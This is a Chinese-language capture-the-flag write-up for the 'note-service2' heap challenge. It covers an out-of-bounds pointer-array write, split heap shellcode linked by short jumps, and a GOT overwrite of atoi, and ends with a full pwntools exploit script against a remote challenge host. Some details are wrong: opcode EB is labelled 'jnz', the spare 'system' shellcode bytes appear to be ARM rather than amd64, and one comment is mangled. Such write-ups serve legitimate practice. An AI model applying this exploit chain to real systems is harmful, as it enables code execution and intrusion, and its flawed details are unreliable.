note-service2
[collapse title=“展開查看詳情” status=“false”]
考點:堆上shellcode
保護情況:NX 保護關閉
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
漏洞函數:存放堆指針的數組可越界存放。也就是堆指針可放置到任意地方。
int myadd()
{
int result; // eax
int v1; // [rsp+8h] [rbp-8h]
unsigned int chunk_size; // [rsp+Ch] [rbp-4h]
result = dword_20209C;
if ( dword_20209C >= 0 )
{
result = dword_20209C;
if ( dword_20209C <= 11 ) //chunk上限11個
{
printf("index:");
v1 = getinput();
printf("size:");
result = getinput();
chunk_size = result;
if ( result >= 0 && result <= 8 )
{
qword_2020A0[v1] = malloc(result); //堆指針存放可越界
if ( !qword_2020A0[v1] )
{
puts("malloc error");
exit(0);
}
printf("content:");
myread(qword_2020A0[v1], chunk_size);
result = dword_20209C++ + 1;
}
}
}
return result;
}
程序沒有 NX 保護,可以將 shellcode 存放在堆上,然後通過數組越界覆蓋 got 表調用 shellcode 。
程序限制堆大小不超過 8 ,且讀入數據函數會佔用最後一個字節寫入 \x00
。可寫入空間僅有 7 ,所以需要用匯編的跳轉指令 jnz short xxx
,對應的十六進制爲:EB xx
,其中 xx
爲偏移量。偏移量計算公式爲:xx = 目標地址 - 當前地址 -2
程序申請一個 size 爲 8 的堆結構如下:圖源
從 chunk 0 jmp 頭開始計算:xx
= 2+1+8+8+8-2=0x19
構造一個調用 system 函數的shellcode ,然後數組越界覆蓋一個可被控制輸入參數的函數,例如 atoi ,傳入參數 /bin/sh\x00
。這種構造方法要最後才修改 got 表,避免修改導致程序輸入函數失效。
也可以到 shell-storm 找一個直接調用 system('/bin/sh')
的shellcode 一把梭哈。
完整 exp
#encodeing:utf-8
from pwn import *
context.log_level = 'debug'
context(os='linux',arch='amd64')
p = remote("124.126.19.106",41618)
#p = process("./note-service2")
def add(index,size,content):
p.sendlineafter("your choice>> ",'1')
p.sendlineafter("index:",str(index))
p.sendlineafter("size:",str(size))
p.sendafter("content:",content)
def delete(index):
p.sendlineafter("your choice>> ",'4')
p.sendlineafter("index:",str(index))
#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
code1= (asm('mov eax,0x3B') + '\xeb\x19')
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
code4 = (asm('syscall').ljust(7,'\x90'))
#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'
#write shellcode
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)
#overwrite [email protected]
delete(0)
add(-8,8,code0)
#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')
p.interactive()
[/collapse]